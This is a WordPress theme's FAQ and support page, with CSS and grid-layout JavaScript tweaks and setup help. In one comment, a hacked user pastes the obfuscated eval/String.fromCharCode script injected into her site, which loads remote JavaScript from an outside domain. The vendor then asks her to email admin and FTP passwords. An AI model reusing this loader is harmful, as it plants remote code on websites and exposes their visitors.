Air WordPress theme FAQs

[SeaTheme]

• Air WordPress Theme Documentation
• How to find purchase code on Themeforest
• Import Demo Data
• How to update Air WordPress Theme and BM Pagebuilder plugin
• The MUST-READ for Portfolio, Category and Filter …
• How to disable the the lightbox
• Social share button and Social media link
• How to use/install hosted fonts?
• Google Map Issue
• How to remove title of single portfolio post?
• Gap issue on masonry portfolio when set no spacing
• How to change grid ratio as 1:1(square) for Masonry Grid?
• How to change grid ratio as 1:1(square) for Standard Grid?
• How to use Child theme?
• Upload image HTTP Error
• How to add sidebar for WooCommerce pages?
• Customized WooCommerce default shop page
• How to replace strings in theme by Loco Translate plugin
• Use the WooCommerce default Slider(Thumbs nav)/lightbox/zoom in single product?
• How add post navi(prev/next) on gallery post when BM PageBuilder activated?
• How to insert multiple videos into single gallery post?
• If the image in the module(like Image Box ) cannot be displayed, please try to re-upload the image from local.
• How to make the menu items centered on menu panel
• The ELEMENTOR “Content Area Was Not Found” issue
• How to solve “Blurred pictures in Portfolio thumbnail”?
• How to create BM Slider?
• The “Shape for Masonry Grid” option lost in Gallery post
• How to show MailChimp newsletter Subscription form on the footer?
• update to new google font data fails
• Change category filter order from ASC do DESC
• STOP “Showing the category description when user click the filter”
• How to create Gallery on left layout in a Page?

[SeaTheme]

How to remove title of single portfolio post?
Please paste the custom css code to “Appearance > Customize : Additional CSS”
.single-format-gallery .title-wrap {display:none;}

[SeaTheme]

How to change grid ratio as 1:1 for Masonry Grid?

Please change the /js/custom.theme.js (line 1113-1193),
update as:

            if (winWidth >= 768) {

                _this.find('.grid-item').each(function () {
                    $('.grid-item').css({
                        width : GridWith * 1 - GridSpacer + 'px',
                        height : GridWith * 1 - GridSpacer + 'px',
                        margin : GridSpacer * 0.5 + 'px'
                    });
                    $('.grid-item .ux-lazyload-wrap').css(
                        "padding-top", ((GridWith * 1 - GridSpacer)/(GridWith * 1 - GridSpacer)) * 100 + '%'
                    );
                    $('.grid-item.grid-item-big').css({
                        width : GridWith * 2 - GridSpacer + 'px',
                        height : GridWith * 2 - GridSpacer + 'px',
                        margin : GridSpacer * 0.5 + 'px'
                    });
                    $('.grid-item.grid-item-big .ux-lazyload-wrap').css(
                        "padding-top", ((GridWith * 2 - GridSpacer)/(GridWith * 2 - GridSpacer)) * 100 + '%'
                    );
                    $('.grid-item.grid-item-long').css({
                        width : GridWith * 2 - GridSpacer + 'px',
                        height : GridWith * 1 - GridSpacer + 'px',
                        margin : GridSpacer * 0.5 + 'px'
                    });
                    $('.grid-item.grid-item-long .ux-lazyload-wrap').css(
                        "padding-top", ((GridWith * 1 - GridSpacer)/(GridWith * 2 - GridSpacer)) * 100 + '%'
                    );
                    $('.grid-item.grid-item-tall').css({
                        width : GridWith * 1 - GridSpacer + 'px',
                        height : GridWith * 2 - GridSpacer + 'px',
                        margin : GridSpacer * 0.5 + 'px'
                    });
                    $('.grid-item.grid-item-tall .ux-lazyload-wrap').css(
                        "padding-top", ((GridWith * 2 - GridSpacer)/(GridWith * 1 - GridSpacer)) * 100 + '%'
                    );

                });

            } else {
                columnNumbM = columnNumbM ? columnNumbM : 1;
                if(columnNumbM == 2 || columnNumbM == 3) {
                    mobileRatio = 2;
                }
                GridWith   = Math.floor(ListWidth / columnNumbM);

                _this.find('.grid-item.grid-item-small').each(function () {
                    $('.grid-item').css({
                        width : GridWith * 1 - GridSpacerM + 'px',
                        height : GridWith * 1- GridSpacerM + 'px',
                        margin : GridSpacerM * 0.5 + 'px'
                    });
                    $('.grid-item .ux-lazyload-wrap').css(
                        "padding-top", ((GridWith * 1- GridSpacerM)/(GridWith * 1 - GridSpacerM)) * 100 + '%'
                    );
                    $('.grid-item.grid-item-big').css({
                        width : GridWith * 1 * mobileRatio - GridSpacerM + 'px',
                        height : GridWith * 1* mobileRatio - GridSpacerM + 'px',
                        margin : GridSpacerM * 0.5 + 'px'
                    });
                    $('.grid-item.grid-item-big .ux-lazyload-wrap').css(
                        "padding-top", ((GridWith * 1- GridSpacerM)/(GridWith * 1 - GridSpacerM)) * 100 + '%'
                    );
                    $('.grid-item.grid-item-long').css({
                        width : GridWith * 1 * mobileRatio - GridSpacerM + 'px',
                        height : GridWith * 0.5 * mobileRatio - GridSpacerM + 'px',
                        margin : GridSpacerM * 0.5 + 'px'
                    });
                    $('.grid-item.grid-item-long .ux-lazyload-wrap').css(
                        "padding-top", ((GridWith * 1- GridSpacerM)/(GridWith * 2 - GridSpacerM)) * 100 + '%'
                    );
                    $('.grid-item.grid-item-tall').css({
                        width : GridWith * 1 - GridSpacerM + 'px',
                        height : GridWith * 2 - GridSpacerM + 'px',
                        margin : GridSpacerM * 0.5 + 'px'
                    });
                    $('.grid-item.grid-item-tall .ux-lazyload-wrap').css(
                        "padding-top", ((GridWith * 2 - GridSpacerM)/(GridWith * 1 - GridSpacerM)) * 100 + '%'
                    );

                });   
            }

[SeaTheme]

The MUST-READ for Portfolio, Category and Filter …

1. Before create portfolio list page, you should create several single projects by Post > Add new,
(1.1) set each project as Gallery Format Post, the portfolio can only show Gallery format posts
(1.2) set “Featured Image”, it should be thumbnail shown in portfolio list
(1.3) set “category“, each project should be assigned one category at least.
You can set other options, refer the video guide.

2. Create portfolio list page by Page > Add new,
(2.1) Set template, choose the category mentioned on (1.3).
(2.2) Filter: If you want to show filter, please enable the “Filter” option. Make sure there are sub-categories in the category mentioned on (1.3). The sub-categories will be shown as filter items. The category structure looks like:

(2.3) You can set other many options like columns, spacing, lightbox and so on. read more on Documentation: Pages section.
Refer video guide:

[fannybarjhoux]

Website : fannybarjhoux.pro

Hello,

I love the design of your “Air Template”, I’ve been using it for almost 3 months, and I’ve already been hacked 3 times. Every time I see on my website a blank page with a serie of number:

eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 52, 57, 44, 32, 52, 56, 44, 32, 52, 57, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 3

I restored a backup 3 times on my hosting OVH but it does not solve the problem . I paid 55$ for a template (I’m a designer starting in the bussiness and looking for a job with this website………..) that is constantly hacked, I’m disappointed and dissatisfied with this service currently, i hope you can help me.

thanks,

Fanny

[SeaTheme]

HI, Fanny

Sorry for the trouble, it should not be caused by AIR, there are many reasons. I can help you check it.
Please send your question, wp-admin(url/user/pass) and FTP to uiueux@gmail.com, I’ll log in to check it.

Regards!
Bwsm – uiueux.com – Twitter – Facebook

[SeaTheme]

How to insert multiple videos into single gallery post?

The single gallery post can show one video on gallery list(Top or Bottom) by default(It needs to enable “Show Video”). If you want to show more videos, please following:

(1) You could enter HTML codes into “Embeded Code” like the demo codes:

Vimeo:

<div class=video-wrap style=padding-top:56.667%><iframe src=//player.vimeo.com/video/67659148 width=500 height=281 frameborder=0 webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div>
<div class=video-wrap style=padding-top:56.667%><iframe src=//player.vimeo.com/video/46393681 width=500 height=281 frameborder=0 webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div>

Youtube:

<div class=video-wrap style=padding-top:56.667%><iframe src=//www.youtube.com/embed/c0ehRPQw2g4 frameborder allowfullscreen></iframe></div>
<div class=video-wrap style=padding-top:56.667%><iframe src=//www.youtube.com/embed/X3-fQSngZto&t frameborder allowfullscreen></iframe></div>

Note: the demo codes are with two videos, you could add more.
Note: please don’t use quotation marks in the embed codes
Please select at least one image for “Select Images”, or there will be an error. If you don’t want to show an image, please upload a blank image.

(2) Paste the custom css code to “Appearance > Customize : Additional CSS”:

 .single-gallery-wrap-inn > .video-post-wrap { padding-top: 0!important; }
.single-gallery-wrap-inn > .video-post-wrap .video-wrap { margin-bottom: 40px; }
.single-gallery-wrap-inn video.lazy-hidden { opacity: 1;position: absolute; top: 0; left: 0;right: 0;  bottom: 0; }

You need to adjust the 20px based on the image spacing.

[Louise]

Hi,
How can I change the image shown when putting the link on FB ? I guess this is called the og:image. Thank you!

[SeaTheme]

Hi,

Please use some plugin to create the og:image tag. The Yoast SEO plugin could create this tag as I know. https://drive.google.com/open?id=1_EpUm156KBmf-8eA3SBJze81Lwj2mYNA

PS: please create a new ticket(topic) to talk about the question, thanks!

Regards~

[SeaTheme]

The “Shape for Masonry Grid” option lost in Gallery post
Please try to find it in Screen Options.

If there is no in Screen Options, please try to reinstall(how) both Air theme and the BM pagebuilder plguin.

[SeaTheme]

STOP “Showing the category description when user click the filter”
Please paste the custom CSS code to “Appearance > Customize: Additional CSS”:

 .intro-wrap-sub {
	display: none!important;
	opacity: 0!important;
}
.intro-wrap-sub:first-child {
	display: block!important;
	opacity: 1!important;
}

[SeaTheme]

How to import?

Please go to Appearance>Theme Options, click “Import My Saved Data”:

It will go the importing page:

Click “choose file”,

Pick up the xml file, you could find the xml files(default-demo.xml) in /functions/theme/ folder

The page will be shown, set author and attachment, click submit:

Note: Because some site host PHP setting is not high enough. The images downloading will take long time, it would be always timeout. So you may have to repeat the Import step until all demo content import.

Make sure to activate the BM Page Builder and BM Slider plugins.

[Author]

Posts